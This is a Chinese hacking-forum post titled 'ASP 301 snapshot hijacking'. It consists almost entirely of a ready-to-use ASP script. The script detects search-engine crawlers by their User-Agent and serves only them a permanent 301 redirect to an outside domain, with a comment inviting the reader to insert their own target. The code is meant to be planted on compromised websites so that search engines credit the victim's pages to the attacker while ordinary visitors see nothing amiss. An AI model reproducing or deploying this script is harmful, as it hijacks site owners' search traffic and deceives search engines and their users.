搜索
查看: 8354|回复: 0

asp的301快照劫持

[复制链接]

152

主题

99

回帖

540

积分

高级会员

中国黑客

积分
540
QQ
发表于 2018-8-24 15:03:23 | 显示全部楼层 |阅读模式
ASP代码


[pre]
<%
Function GetLocationURL()
Dim Url
Dim ScriptName,QueryString
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
if ScriptName = "/index.asp" then
        if QueryString = "" then
                GetLocationURL = "/"
        else
                GetLocationURL = ScriptName&"?"&QueryString
        end if
else
        if QueryString = "" then
                GetLocationURL = ScriptName
        else
                GetLocationURL = ScriptName&"?"&QueryString  
        end if
end if

End Function

If isspider() then
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页
    Response.End
End if

function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function

%>
[/pre]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
谁有敬业福啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表